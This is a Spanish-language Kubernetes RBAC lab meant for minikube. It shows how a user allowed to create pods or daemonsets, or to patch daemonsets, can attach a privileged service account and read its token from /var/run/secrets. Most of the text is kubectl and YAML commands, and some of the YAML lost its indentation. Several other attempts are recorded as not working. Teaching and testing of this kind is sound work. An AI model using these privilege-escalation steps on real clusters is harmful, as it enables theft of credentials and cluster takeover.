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Puedes ejecutar estos laboratorios solo dentro de minikube.

Creación de Pod -> Escalar a SAs de ns

Vamos a crear:

Una cuenta de servicio "test-sa" con privilegios de clúster para leer secretos
Se creará un ClusterRole "test-cr" y un ClusterRoleBinding "test-crb"
Se otorgarán permisos para listar y crear pods a un usuario llamado "Test"
Se creará un Role "test-r" y un RoleBinding "test-rb"
Luego confirmaremos que la SA puede listar secretos y que el usuario Test puede listar pods
Finalmente suplantaremos al usuario Test para crear un pod que incluya la SA test-sa y robar el token de la cuenta de servicio.
Esta es la forma de mostrar que el usuario podría escalar privilegios de esta manera

Para crear el escenario se utiliza una cuenta de administrador. Además, para exfiltrar el token de la sa en este ejemplo se utiliza la cuenta de administrador para ejecutar dentro del pod creado. Sin embargo, como se explica aquí, la declaración del pod podría contener la exfiltración del token, por lo que el privilegio de "exec" no es necesario para exfiltrar el token, el permiso de "crear" es suficiente.

# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get pods

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
name: test-pod
namespace: default
spec:
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Crear Daemonset

# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Patch Daemonset

En este caso, vamos a patch un daemonset para hacer que su pod cargue nuestra cuenta de servicio deseada.

Si tu usuario tiene el verbo update en lugar de patch, esto no funcionará.

# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

No funciona

Crear/Patch Bindings

No funciona:

Crear un nuevo RoleBinding solo con el verbo create
Crear un nuevo RoleBinding solo con el verbo patch (necesitas tener los permisos de binding)
No puedes hacer esto para asignarte el rol a ti mismo o a un SA diferente
Modificar un nuevo RoleBinding solo con el verbo patch (necesitas tener los permisos de binding)
No puedes hacer esto para asignarte el rol a ti mismo o a un SA diferente

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Bind explicitly Bindings

En la sección "Prevención de Escalación de Privilegios y Arranque" de https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ se menciona que si un SA puede crear un Binding y tiene permisos de Bind explícitos sobre el Role/Cluster role, puede crear bindings incluso utilizando Roles/ClusterRoles con permisos que no tiene. Sin embargo, no funcionó para mí:

# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa

# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Creación de roles arbitrarios

En este ejemplo, intentamos crear un rol que tenga los permisos de crear y acceder a los recursos de roles. Sin embargo, K8s nos impide crear un rol con más permisos de los que tiene el principal que lo crea:

# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to create a role over all the resources  with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-

# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa

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